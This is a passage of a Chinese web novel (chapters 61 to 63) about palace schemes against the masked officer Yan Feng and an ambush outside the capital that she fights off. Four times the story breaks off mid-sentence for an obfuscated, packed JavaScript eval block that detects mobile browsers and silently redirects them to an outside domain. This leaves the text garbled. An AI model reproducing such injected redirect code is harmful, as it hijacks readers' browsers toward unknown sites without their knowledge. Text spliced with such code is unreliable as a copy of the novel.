“见过，见过。英武好看得紧，干干净净，什么缺陷也没有，说起来还和哥哥有几分相像呢！” “哦，还和我有几分相像？” “正是正是！你见了你也一定会喜欢的！他同你站一块，可比老二和你更像兄弟呢！我发誓，我可绝对没有扯谎！” 三皇子胸口狂跳，面上仍旧不动声色。 “那确实有几分缘分！” “有缘分，绝对有缘分！你说妹妹我见了他，再去见徐家子，心里如何能放得下？可母亲不知着了什么魔，眼里尽是徐家。要我说这算什么事儿呀！姐姐尸骨未寒，我做妹妹的难道就要去抢她的夫婿了吗？” 说着，七公主又挤出了几滴真心实意的眼泪。 “小妹说得也在理，这于礼法确实不合，母亲这般行事免不了要寒了九泉之下大妹的心啊。” “正是这个理！” “这样吧，我去同母亲说说！这燕镇抚虽无家世，但也是父皇破格提拔的才俊，也未必比不得徐家子。” 这日晚些时候，三皇子果然信守承诺，去了周贵妃宫中。 殿内熏烟袅袅，暖香扑面。周贵妃正于榻上闭目养神，见儿子来了，脸上便露了笑意. “皇儿今日怎么得空来看母妃了？”她挽着儿子的手在榻边坐下，语气慈爱。 三皇子屏退了左右，沉吟片刻，方将七公主对燕风的心思以及自己的来意低声说明。 周贵妃笑容微敛，拍了拍他的手。 “皇儿啊，这事儿怎可由得七丫头胡来。你又不是不知道，我这般心急火燎地想与徐家再续姻缘，实是因徐家手握……” “母亲，”三皇子轻声打断，“儿子都明白。只是眼下，却有了一个新的顾虑。” “哦？什么顾虑？” “母亲可还记得，那燕风，是何时开始崭露头角？” 周贵妃蹙眉细思了片刻。 “我第一次对他有了印象，是今年元旦宫宴上，你父皇特意点名让他近前伺候。身条气度确是不凡，就是终日戴着个面具，神神秘秘的。” 三皇子又问：“那母亲可还记得，秉笔太监曹宜春，是何时从北地归来的？” “曹宜春？” 周贵妃被这奇怪的问题问得一怔，“他……似是年前一两个月才风尘仆仆地回来。怎么忽然提起他了？他不是奉旨去北地接那个……那个流落民间多年的六公主了吗？” 她对那位突然冒出来的公主并无多少印象，只觉她身份低微，不足挂齿。 “母亲不觉得，这时间太过巧合了吗？” 三皇子低声道，“燕风横空出世，备受荣宠，恰是在曹宜春接回六公主之后不久。” “这……这有何巧？”周贵妃失笑，“一个武官，一个内臣。风马牛不相及。皇儿，你是否多心了？” “母亲，曹宜春是何等人物，父皇如此宠信他。他却要为了一个流落在外的公主，亲自去一趟北地。这也太大费周章了吧！再者六公主回宫这么久了，母亲，您见过她吗？“ “儿子起先也未作此想，是大妹妹的事，才让我觉出些不对。” 三皇子神色凝重：“那日梅林的猛虎来得蹊跷，父皇震怒，必定要杀人泄愤，事实也确是如此，上林苑监、守林军校尉，掉了多少脑袋？” “可那姓燕的，护卫不力，理应首当其冲。结果呢？他不但自身毫发无伤，连他麾下那些缇骑，竟也一个未曾牵连问罪。母亲，这难道不反常吗？” 周贵妃闻言，脸色渐渐变了，缓缓点头。 “经你这么一说……确实反常得紧。陛下那时正在气头上，却独独对他网开一面……” “还有更巧的。今日我问及小妹，她说，曾机缘巧合见过那燕风面具下的真容，竟然同儿臣有几分相似。” “什么？”周贵妃一惊，“七丫头真这么说？” “是。她说，那人相貌英武，除了与儿臣相似外，脸上还干干净净，全无瑕疵疤痕。母亲您想，既然如此，他为何要终日以面具覆脸，不愿以真面目示人？” “恐怕只有一个解释。” 三皇子一字一句：“他的容貌本身就值得遮掩！” 周贵妃叹了口气，下意识地压低了声音：“你是说……哎，说句大逆不道的，你父皇确实……若在外再多出几个孩子，我也不觉稀奇。” “如果只是多一个兄弟，儿臣自然不怕。儿子的兄弟本就不少。”三皇子冷冷道，“关键在于，父皇对此人的态度！” “皇儿，你究竟是何意？”周贵妃感到有些心惊。 “母亲，我大靖祖训，立嫡立长！大哥虽愚钝，却占着嫡长的名分，地位岿然不动。我们多年筹谋，争的是什么？不就是有朝一日能撼动这‘嫡长’的规矩吗？” 他语气愈发冰冷：“可别到时候，我们这边摇旗呐喊，好不容易将局面松动了，转头却为他人做了嫁衣！您看父皇对他那看重之势，若他真是皇子，那此人……便决不可留！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485566|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周贵妃被儿子话语中的杀意惊得胸口狂跳，紧紧抓住他的手腕。 “皇儿，你说得对！若真如此，确是心腹大患！可是……无凭无据，如何能确定他的身份？” “儿子早已派人去查他底细，只是此人确如横空出世，过往成迷，至今未有确凿回音。不过，眼下却有一个现成的试探之法。” “你的意思是……” “请母亲寻个时机，去父皇那儿探探口风。就说七妹似乎对那燕镇抚使青眼有加，甚至二人颇有私会，询问父皇若将小妹下嫁于他，是否可行。” 三皇子嘴角勾起一抹冷笑：“若父皇流露出些许考量之意，那或许真是我们多虑了。可若父皇不说缘由就是一口回绝，那其中深意，母亲自然明白。” 周贵妃深吸一口气，重重点头：“好！就依皇儿之计。本宫明日便去寻陛下试探一二！” * 燕风近来颇感困顿。 在北镇抚司的时日愈久，她便愈清晰地窥见其中关窍：能否在此地立足，或者说佯装成陛下手中一只合格的鹰犬，关键并非办案擒贼，仅系于一字—— 钱。 当朝与以往任何世代都不同。 陛下从那些神秘家族身上夺来的令人归顺的能力，使京中百官无不对其心怀孺慕，忠忱发自肺腑。 然即便如此，人性贪欲仍胜于一切： 该扣的照扣，该贪的照贪。 若说这满京城皆是蠹虫，那最大的那条，便正坐在金殿之上，日日受着山呼万岁。 光是苏州织造岁进龙袍便以万计，更遑论其他用度。民脂民膏被层层盘剥，以各种名目源源不断汇入皇城，供其挥霍。加之几年前那场御驾亲征，国库亏空至今犹在，成了每个天子近臣心头沉甸甸的巨石。 便以永宁公主遇害一案为例。 被派来查案的大人姓洪，官居刑部右侍郎，也是锦衣卫指挥使李芳贤的内侄。 此人资质平平，却极谙为官之道。他查不出真凶，便想着宰几头肥硕的‘羔羊’讨上头欢心。恰逢江南几位富商之子结伴入京，下榻处又与事发梅园相近。 洪大人当即抓人，硬扣嫌疑，暗示天价赎金。最可恨的是，他做这等缺德事偏要拉着北镇抚司共担，人一抓来就往诏狱里扔！ 燕风碍于同僚颜面，耐着性子周旋多日，方才‘勉为其难’地放人。可那洪大人脸皮厚得如城墙，她放一个，他便另寻由头再抓一个。 此事几番上达天听，最令人心寒的是皇帝竟不以为意，反嫌她多事。 燕风不语，只是家里练拳的木头桩子烂了一根又一根。 不就是坑人要钱吗! 那姓洪的是个怂货，只敢抓南边来的无权无势无靠山的商户。 燕风想通了，既干了这一行，就要拿出个干事的态度。去他的为官之道，她的这些同僚们有多富，谁能比她更清楚！ 不过既然是坑人，那就得找个最值得坑的人。 燕风翻起了当初宗谦案的卷宗，在里头跳得最欢的几个人里几经斟酌了一番，最终还是选中了一位老朋友。 刑部尚书，薛兆。 谁让薛进士，偏写得一手落井下石的锦绣文章呢？ 且有证据表明，他确实很肥。 61. 休沐 第二日，周贵妃自太和殿出来时，眉眼间尽是掩不住的喜色。 晚间她特意唤来三皇子一同用膳。席上，连几个大宫女都还未屏退，她便笑吟吟地同儿子道：“今早，我同陛下提了你小妹同那燕镇抚的事儿，你猜陛下怎么说？” 三皇子目光扫过左右，待宫人尽数离去，方温声接话：“父皇之意是？” “陛下说七丫头年纪尚小，婚事不必急于一时。不过燕镇抚确是个堪造就的，让多相看相看也无妨。这下你可安心了罢？若他真是你父皇血脉，陛下岂会真考虑让他尚主？” 三皇子亦展颜笑道：“是，儿臣心中一块石头总算落了地。此番多亏母亲周全。” 只是回到住处后，他面上笑意便彻底淡去。 亲信陈琦应召而来，是个眉目精干的年轻人。 “主子，何事？” 三皇子面色凝重：“上次雇的那杀手还不错，干活利落。现在还能联系上吗？我要他再杀一人。” 陈琦微怔：“能是能。只是那姓燕的不是已经洗脱了嫌疑了？何必又要冒风险杀他呢？” 三皇子冷冷瞥了他一眼。 陈琦忙跪下：“属下该死，属下不该揣度主子心思。属下只是听说贵妃今日心情不错。” 三皇子沉默片刻，叹了口气：“起来罢。连你都瞧出我母亲心思，便知我这防备并非多余。” 他踱至窗边，感慨：“父皇何等圣明，若真有此意，岂会因母亲三言两语便透出口风？这种事情，黑可谓白，白亦成黑。” “我那两个妹妹，长妹同我一样随父皇，尚有几分胆识见地，可惜去得早。小妹性子似母亲，纯真太过……有些事，万不可叫她们知晓，否则必生枝节。” “对了，刑部那姓薛的老头，可有什么动静？没叫他查出什么吧？” 陈琦：“禀主子，薛大人的人昨日才来过。同先前说得一样。” 三皇子眼神一亮。 “既然如此，此事或可借他之手。” 他斟酌道：“你亲自去一趟，就告诉他：燕某底细已明，不过是江湖出身，让他放手去办。再将那杀手引荐给他。记得提点一句，京城内北镇抚司耳目众多，若要动手，须出城方可。” “是！” * 燕风今日休沐在家。 她正对着院里那根新木桩拳打脚踢，练得砰砰作响。自从左肩伤好，她练功愈发卖力，肩背肌肉肉眼可见地结实了不少。江鱼有次递汗巾时没忍住摸了一把，啧啧称奇。 练到浑身冒热气，她便往石凳上一瘫。 江鱼最近识字热情高涨，举着书凑过来：“头儿，这‘嵯峨’俩字念啥？” 燕风瞥了一眼，面不改色地把两个字都读了半边，语气却笃定得像真的一样。 这已经是江鱼本月第三次把她问道了。 为了保住所剩不多的威严，她前阵子特地买了几本游记，闲来无事时也看看给自己扫盲，不懂的去问司里唯一正经上过学堂的白砚生。 休沐日的上午，就在打拳、瘫倒、和连蒙带猜的读书声中悠闲度过。 中午吃的是鸡蛋打卤面。 那鸡蛋可是自家鸡窝里新鲜捡的。自打搬来第一天，江鱼就从市场捧回一对黄绒绒的鸡仔，当眼珠子似的精心伺候着。如今这对“元老”早已升级成了鸡父鸡母，带着一院子叽叽喳喳跑动的小鸡仔。 自家的鸡蛋就是不一样，打散在猪油里炒出的蛋花金灿油亮，又在浓稠的卤汁里吸饱了汤汁，胖嘟嘟地鼓胀着。院里头茬的春韭鲜嫩欲滴，被细细切碎了撒在卤子上，嫩绿的色泽格外喜人。再加上热油那么一激，独特的辛香“噌”地就窜了起来，霸道地往人鼻子里钻。 面是手擀的，劲道十足，从滚水里捞出来还冒着腾腾的热气，直接码进海碗里。一大勺浓香四溢的卤子，又均匀地浇在面条山上，汁水迅速渗透下去。 “喏，吃吧！”江鱼把那只比她脸还大的海碗墩在燕风面前。 燕风也不客气，抄起筷子拌匀，埋头就扒拉了一大口。面条裹挟着咸鲜浓郁的卤汁。蛋香、韭香和面香在嘴里炸开，她满足地眯起了眼，吃得额角微微冒汗。一筷子接着一筷子，碗里的面条山眼见着就矮了下去。 江鱼吸溜着自己那碗面，眼睛却时不时瞟着燕风的碗。 见碗底快空了，她极其自然地站起身，嘟囔着“这卤好像做咸了，得多拌点面才好吃”，一边不由分说地又捞了一大筷子面条，扣进燕风碗里，顺手再浇上一大勺浓稠的卤子。 “咸吗？”燕风抬头，腮帮子还微微鼓着。 “咸了！”江鱼瞪眼：“可不能浪费了我辛苦做的卤子，你得多吃点面压压味。” “哦。”燕风嘴角悄悄弯了一弯。 她心满意足地喝完碗底最后一口鲜美的卤汁，放下那只空空如也的海碗，只觉得周身暖透，练功耗去的力气又悉数补了回来。 江鱼看着她空了的碗，眼里也浮起了笑。她手脚利落地收拾起碗筷，心里盘算着明天一早是不是再去市集称点白面回来。 等歇够了，下午的日程还是打拳练功。 燕风一套拳正打到兴头上，突院子里大门传来一阵“咚咚咚”的敲门声。江鱼正在后院忙得抽不开身，燕风只得收了势，擦了擦汗，自己去开门。 门一开，外面是个恭恭敬敬立着的年轻人。来人自称是洪大人派来的，说梅园的案子有了新进展，请燕镇抚使过去瞧瞧。 燕风接过那人的腰牌查看，确实是洪大人的手下没错。 她不由得腹诽：姓洪的不知葫芦里卖的什么药，平日里除了要用北镇抚司的诏狱的时候会出现一下，其余时间对她能躲就躲，一副生怕被她抢了功劳的样子，今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485567|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太阳打西边出来了，居然主动请她？ 请她就算了，还偏挑这日她休沐，真是会讨嫌得紧。 话虽如此，同僚的面子不能不给。她回头朝后院喊了一嗓子：“我去趟城南，晚饭少点做我的，我自己在路上随便买点吃！” “等等！”江鱼从厨房探出头，“你要出城吗？” “要的。你需我带点什么回来吗？”梅园确实算是在城外了。 江鱼眼睛一亮，“你稍等等！”说完就冲进后院。只听几声极其绝望的鸡鸣过后，她竟然提着一只晕过去的大公鸡回来了。 那鸡正是院子里那群小鸡仔的“鸡父”。 “你正好把这个给小白带上！”江鱼凑上去低声说，“小鸡仔够多了，留它也没用啦。我可一直惦记着小白呢！” 小白是她们在北地遇上的那只小野猪，救过江鱼一命。这趟来京城，它也跟着来了，但因在城里养野猪太扎眼，江鱼只好忍痛把它留在城外，心里却一直挂念。 “用不着吧？”燕风小声抱怨，“小白在城外混得风生水起，我上次见它都胖了一圈了，哪缺你这只。再说，猪吃鸡吗？” “吃的吃的，小白什么都吃。外头的野食哪有家养的营养！你就带上嘛，又不沉！” ”行吧！”燕风接过了那只奄奄一息的公鸡，回身对那来人道：“走吧。” 来人看着那鸡，表情复杂，欲言又止。 燕风面不改色地拎了拎手里的鸡，解释道：“哦，这鸡…打鸣太吵，邻里常有怨言。家里养久了又不忍心宰杀，送去城外放生了吧。“ “好……” 燕风拎着那只晕过去的公鸡，跟在来人身后慢悠悠地走着。 春三月的天气，不冷不热。风里裹着不知名的花香，一阵阵吹过来，总算稍稍抚平了她休沐日还要出门公干的郁闷。 正走着，忽见几对恩爱夫妻携手走过，像是要出城踏青。她心里微微一动，想起宗恂前些日子被皇帝指去了京营做事，常吃住在城外，已好些时日没见着了。 京营的大本营似乎也在城西南方向，说不定……等办完事，能绕过去瞧他一眼？ 哪怕远远瞥见个背影，她也觉得挺满足。 她想得正高兴，余光冷不丁瞥见街对面站着个妙龄小姐，正领着侍女焦急地四下张望，仿佛在找人。 燕风心里猛地一哆嗦，下意识缩了缩脖子，拼命把头低下，假装和手里的鸡父交流感情。 可鸡父好死不死，偏偏在这个节骨眼上悠悠转醒。 燕风眼睁睁看着它发出了一声垂死的、绵长的哀鸣——“咯……” 这声音不大，却极具穿透力，顿时引来街上无数道目光。 那小姐自然也听见了，她眼睛一亮，脸上霎时绽出惊喜，立刻提起裙摆，像只欢快的雀儿般飞奔过来。 燕风：“……” 62. 瓮鳖 这下再没法装看不见了。 燕风双腿一软，几乎要当场跪下去行礼：“参……” “客气什么！”七公主一把捞住她的胳膊，生生把她托住了。 她的声音清脆又热情，“咱俩什么关系！”随即又凑到她耳边，压低声音飞快地说：“我这回是偷跑出来的，你可别暴露我身份！” 燕风只能报以苦笑。 自那夜之后，她是真怕了这位小祖宗，平日能躲就躲，万万没想到还是被逮住了。 她眼神下意识往七公主身后瞟去。只见珍儿垂着头，眼观鼻鼻观心，坚决不与她有任何目光接触。 那意思很明显：别看我，我尽力了。 “休沐日的，你不好好在家待着，跑去城南做什么？”七公主语声雀跃。 “你家丫头告诉我之后，我可就立马追出来啦！好一通找，总算是没错过！” “臣……我，” 燕风在七公主威慑的眼神中从善如流：“收到了洪大人的口信，说梅园那边有了新进展，叫我去瞧瞧。” 她心里还存着一丝侥幸：梅园那地方，七公主多少该有点阴影吧？总不至于这也要跟？ “梅园啊……”七公主果然迟疑了一下，脸上掠过一丝迟疑。 但仅仅片刻挣扎，某种更强烈的情绪就占了上风：“顺路的，顺路的！我也好久没去了，正好一道吧！” 燕风心里发出了和手里鸡父一模一样的哀鸣，面上却还得强装镇定： “这……不太好吧？我这趟是公务，恐怕……不太方便。” 七公主有些不高兴了，目光落在她手上。 “你手上还拎着只死鸡呢，能有什么正经公务！” 手里的鸡父恰在此时微弱地哼唧了一声，仿佛在抗议这个不吉利的称号。 “再说了，”七公主下巴微扬，带着天家特有的理所当然，“这世上有你去得，我去不得的地方吗？” 燕风默然，想了想，确实是这个理。这位主连宫墙都翻出来了，她还能拦着不成？ 只得认命道：“……是。那便一道吧。” 一行人继续往前走。 燕风目光无意间扫过前面那个引路的洪大人手下，却见他垂在身侧的手在微微发抖。 她心头微微一动。 到城南的路终于还是走完了。 出了城之后，四周的景色越来越荒凉，七公主叫了一声：“不对吧！这不是去梅园的路啊！” 前头领路那人却不回头也不回话，反而闷头越走越快。 这下谁都看出来不对了。 但好像有点晚了。 此处是一处低洼荒地，四周土坡高耸，仿佛一个天然的斗兽场。 坡顶上陆陆续续冒出许多人影，大多蒙着脸，手持兵刃，一言不发地缓缓围拢，将他们困在当中。 那领路的见任务完成，脚底抹油就想溜。 燕风反应极快，想也没想就将手里那隻晕鸡当暗器甩了出去。“啪”一声闷响，不偏不倚正拍在那人门面上。 “哎哟！”那人惨叫一声，鼻血长流，仰面倒地。 七公主又惊又怒，冲上去就踹了他两脚：“狗东西！竟敢骗到本……本小姐头上！” 那人疼得龇牙咧嘴，却反而狞笑起来：“看你们还能得意多久！你们完了！现在放了我，我替你们求求情，说不定还能留个全尸！” 七公主气得还想再踢，却下意识先回头看了眼燕风。 燕风耸耸肩：“想踢就踢，踢重点儿。这种小喽啰，也就只剩一张嘴了。” “这都什么时候了，你还开玩笑！” 七公主简直要被她这态度急死，转而对着周围蒙面人高声喝道：“你们想做什么？光天化日，可知站在这里的乃是朝廷命官！” 坡上的蒙面人们并不答话，反而三三两两窃窃私语。风里飘来了几句零碎对话。 “怎么多了两个人…” “北镇抚的狗腿子也算命官？笑掉大牙！” 燕风耳廓微动，心里默默下了结论：乌合之众，不是一路的，临时凑的伙儿。 其中一个个头极高的蒙面汉子似乎格外不耐烦，啐了一口：“废什么话！赶紧办完赶紧收工！” 话音未落，他挥着一把雪亮长刀，率先从坡上猛冲下来，刀锋直劈燕风面门！ 燕风今日休沐，并未带刀。她眼神一凛，瞬间蹲起，右手从靴筒里“唰”地抽出一把寒光闪闪的匕首，也果断地迎了上去！ 七公主的心一下子揪紧了！ 她虽不练武，却也知“一寸长，一寸强”的道理。在那势大力沉的长刀面前，燕风手中那柄短短匕首，显得如此单薄可怜！ 两人很快在中间遭遇，眼看那长刀就要劈下，燕风却似泥鳅般滑溜，侧身险险避过刀锋。同时匕首疾如毒蛇出洞，直刺对方持刀的手腕！ 那汉子没料到她速度如此之快，慌忙回刀格挡。 “铛！” 匕首与刀身碰撞，溅起几点火星。 燕风借力旋身，衣袂翻飞，瞬间贴近对方中门。长刀在极近处反而难以施展，匕首在此距离却是绝对的主宰！ 她招式狠辣凌厉，专攻关节、手腕、下阴等脆弱之处，逼得那高大汉子手忙脚乱，一时竟只有招架之功，显然已落了下风。 七公主在一旁看得眼花缭乱，方才的恐惧竟不知不觉被眼前这既惊险又漂亮的近身缠斗给压下去几分。 坡上却有一人急了，压低声音吼道：“都愣着干什么？这么多人，看戏吗！一起上啊！玩什么江湖单挑的把戏！” 燕风眉头一挑。 这声音……怎么有点耳熟？ 不等她细想，坡上果然又冲下三人，刀光闪动，就要加入战团。看他们出手的路数和那已处处挂彩的大汉同出一辙，显然是一个门派出来的。 “啧，没完没了。” 燕风对眼前已是强弩之末的大汉失去了耐心。她左手从地上扬了一把沙子引得对方仓皇遮挡，右手匕首却如毒蛇出洞，精准地“噗”一声刺入大汉右肩关节。力道控制得精妙绝伦，既废其战力，又未伤及其要害。 “呃啊！” 大汉惨叫一声，长刀脱手落地。 燕风顺势一脚将他踹开，反手便捞住了那柄即将落地的长刀。 “赶紧找个好大夫，筋络说不定还能接上，吃饭的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485568|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱可不能马虎。” 说罢，她左手反握寒光闪闪的匕首，右手抡起刚抢来的沉重大刀，又毫不畏惧地主动迎向新扑上来的三人！ “来！一起上。” 刀光再次交织。 燕风双持兵器，风格陡变。长刀大开大阖，格挡劈砍虎虎生风；匕首则阴险刁钻，如影随形，专逮空档刺去。 一长一短，一阳一阴，竟被她使得相辅相成，诡谲莫测！ 新来的三人显然不如方才那大汉老道，至少在心志和耐力上就差了一大截。身上刚见了点红，挂了些小彩，动作便立刻迟疑起来，眼神闪烁，分明是早早生了退意。 燕风岂会看不出这点变化？ 她瞅准一个空档，猛地一个利落旋身，修长的双腿如同疾风扫落叶般连环踢出。 “砰砰砰！” 三声闷响伴着痛呼，那三人竟被她一脚一个，干脆利落地踹翻在地。 他们倒也“从善如流”，就势丢下武器，捂着被踢中的地方，龇牙咧嘴地远远退开。竟是借着小伤直接退出战圈，再不肯上前了。 燕风看都没看他们一眼，俯身又挑起一把长刀握在手中，随意掂了掂重量。她双手各持一柄，手腕一抖，挽了个漂亮的刀花。 “啧，终于顺手了些！” 她感叹一句，随即昂首看向坡上那群蒙面人，扬声喝道：“还有谁？一起下来玩玩？” 坡上约莫还剩十人。他们互相对视几眼，旋即又有七人纵身跃下。 为首之人气质沉稳，冲燕风抱了抱拳，语气倒是比先前那些客气些。 “阁下好身手。我等来会会你，得罪了。” 见这次一下子来了七人，七公主的心又揪了起来，高声骂道：“虚伪！假客套什么！有本事就不要以多欺少啊！” 自然无人理会她的抗议。 燕风也懒得废话，只嗤笑一声作为回应。她双刀一振，身形如电，再次主动冲入敌阵！ 这七人均使剑，单打独斗或许不算顶尖，但彼此间配合却极为默契，攻防一体，宛如一张移动的剑网，瞬间将燕风笼罩其中。 双刀对七兵，金铁交鸣之声顿时密集如雨！ 燕风双刀舞得迅疾，却也架不住对方七人心意相通、此进彼退。她额角已见细汗，呼吸也粗重了几分，显然，这七人合击的威力，已超出了她单打独斗能应对的极限。 落败只是时间问题。 此时坡上还站着三个蒙面人。其中一人身形略显富态，一看便知是养尊处优之辈，对厮杀之事纯属外行。他见下方有来有回僵持了许久，早已失了耐心，忍不住低声催促身旁那个背着长弓的同伴：“还等什么？快放箭啊！速战速决！” 那箭手有些迟疑，目光在下方的战团中游移，似在寻找最稳妥的时机。 富态蒙面人见他不动，更是焦急，语气带上了几分斥责：“你不是号称‘穿云鹞’吗？花大价钱请你是来走过场的？快！给我射那个拿双刀的！” 箭手被雇主连番催促，心下无奈，只得咬牙从命。他深吸一口气，弯弓搭箭，瞄准了下方的燕风。 “嗖——！” 利箭脱弦的尖啸声骤然响起。 63. 反击 洼地中正打得难解难分的几人心中俱是一惊，动作都慢了半拍。 那穿云鹞的名号倒非虚传，箭矢去势极疾，准头也堪称狠辣。 ——若他遇上的不是燕风的话。 就在那支利箭即将命中燕风后心的刹那，诡异的事情发生了！ 箭簇仿佛在空气中擦到了什么无形之物，轨迹竟猛地一个偏折，划出一道突兀的弧度！ “噗嗤！” 一声闷响，伴随着一声痛苦的闷哼！ 那支箭竟不偏不倚，直直钉入了七人剑阵中、方才那位为首发话之人的右肩。力道之大，几乎将他带得一个趔趄。 这七人行动如一体，一人骤然受创，完美的合击阵势瞬间崩颓。所有动作都停了下来，剩下六人皆惊疑不定地看向中箭的同伴，又骇然地望向坡上。 燕风趁机暗暗喘匀了气息，嘴上却佯作轻松，高声笑道：“哈哈！我就说，这地势两边高中间低，没个箭手压阵简直就是暴殄天物，只是……” 她拖长了调子，语气里的嘲讽几乎要满溢出来，“坡上那位好汉，你这准头可不行啊？怎的专往自己人身上招呼？” 坡上那箭手被她当众奚落，顿时恼羞成怒，也顾不得什么时机准头了，马上再次搭弓引箭，口中怒喝：“你找死！” “嗖！” 又一支利箭破空而来，直射燕风面门！ 然而燕风这次竟是不闪不避，反而足下发力，迎着箭矢猛冲而上。就在箭头即将触体的刹那，她手中双刀交错，于身前猛地一绞一拨—— “铛”的一声脆响，那支来势汹汹的箭矢再次诡异地偏转方向，精准地扎进了下方另一名剑客的右肩。 又一声惨叫响起。燕风看也不看，身形如猎豹般急速向坡上掠去，目标直指那名弓箭手！ 那箭手见两箭皆失，还尽数伤了自己人，已是慌了。又眼见燕风疾冲而来，更是心神俱裂，竟不顾一切地连连抽箭发射。 “嗖！”“嗖！”“嗖！” 一支接一支的箭矢带着凄厉的呼啸射向燕风，却仿佛撞上了无形的墙壁。 只见她双刀翻飞，或格、或挑、或引。每一次都恰好能将致命箭矢拨开，根本是举重若轻。 而更令人骇然的是，每一支被拨开的箭，都像长了眼睛一般，划着诡异的弧线。无一例外、又精准无比地钉入下方那些蒙面剑客的右肩。 转眼间，方才还结成剑阵的七人，人人右肩上都颤巍巍地插着一支羽箭，仿佛某种恐怖而滑稽的标记。 他们早已没了战意，捂着伤口惨哼不止，看向燕风的眼神如同见鬼一般。 就在最后一名剑客中箭的同时，燕风也已如鬼魅般掠至坡顶，身形一闪便到了那箭手面前。 箭手惊骇欲绝，手刚摸向箭囊，一柄冰冷的刀锋已轻轻抵在了他的喉结之前。他浑身僵直，不敢再动弹。 燕风另一只手中的长刀则顺势向上一挑，刀尖精准地勾住那人紧握的长弓弓弦。手腕一抖，一个漂亮的圆弧划过，那柄良弓便已脱离了原主人的掌控，稳稳地套在了她自己的背上。 “是把难得的好弓，”燕风语气轻松，又充满戏弄。 “给我吧！留给你……可惜了。” 那箭手眼睁睁看着自己的爱弓被夺，喉间还贴着要命的刀锋，脸色煞白，冷汗涔涔而下，却一个字也说不出来，只下意识地朝身边蒙面的雇主望去。 燕风便也似刚意识到旁边还有两个蒙面人一般，好整以暇地转过头，目光轻飘飘地落在他们身上。 只见其中一个身形略显富态的，正死死缩在另一人身后，只露出一双惊慌闪烁的贼眉鼠眼。见燕风看过来，他缩得更紧了，恨不得把自己藏进前面那人的影子里。 这双标志性的鼠目……就算蒙着面，燕风也还是一眼就认出来了。倒是他前面那位站得笔挺的蒙面人，虽看不清面容，却也透着一股莫名的熟悉感。 燕风故意抬高了声音：“哟，我当是谁呢？这不是薛尚书家的公子吗？不就是年节时请您在诏狱里歇了几晚？那也是您狎妓滋事在先，在下在其位，谋其职罢了。何苦今日花重金聘来这一干英雄好汉，非要取我性命不可呢？” 她声音朗朗，确保洼地里的人都能听见：“不过嘛，在下素来爱才，今日诸位虽刀兵相向，我却未伤及各位要害。诸位若此刻离去，我燕某人绝不为难！” 那薛公子见自己的名号被当众点破，心里顿时慌如擂鼓，却还强撑着狡辩。 “什、什么薛公子！你休要胡说八道，我根本听不懂！” “哦？”燕风眉梢一挑，故作惊讶，“原来不是薛公子您同我燕某人的私仇吗？” 她最近正愁找不到能一击扳倒薛家的铁证，此刻故意将声音又扬高了几分：“莫非……是尊父薛兆薛尚书大人的意思？” 这话竟歪打正着！ 此番本就是薛兆花了大价钱找的人，而薛公子是瞒着父亲偷偷跟来。 他心里想的是这么多武林高手，燕风便是三头六臂也绝活不了。他一来是为监督，二来更是想亲眼见证这大仇得报的快意。 没成想，对方真有这能耐。 这下好了，若他不来，即便败露被这群江湖人供出来也没什么，死不认账便是。可他既然来了，若是被抓，便是铁证，那可是泼天大祸！ 薛公子深知自己的鲁莽可能给父亲和家族带来灭顶之灾，此刻退一步是万丈深渊，进一步或许还能搏条生路。不由得怒从心头起，恶向胆边生，竟彻底撕破脸皮，厉声吼道：“你少在这里血口喷人！坡下那个是你相好吧？长得倒有几分姿色，可惜跟了你这个衰人！我把她们绑了，看你怎么办！” 他转而朝着洼地里那些江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485569|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湖人声嘶力竭地喊道： “谁！谁帮我绑了那两个女人！我许的赏金，立刻翻十倍！” 他脸上露出狰狞的笑容，还补充了一句极为下作的话：“杀她们之前……爷准你们先快活快活！” 重赏之下，必有勇夫。 洼地里那些江湖人，本就只是肩头受伤，无甚大碍。听闻此言，好几个眼神立刻变了，贪婪和邪念压过了恐惧和疼痛。连那个之前被鸡父砸晕的引路人，都挣扎着爬起来，想分一杯羹。 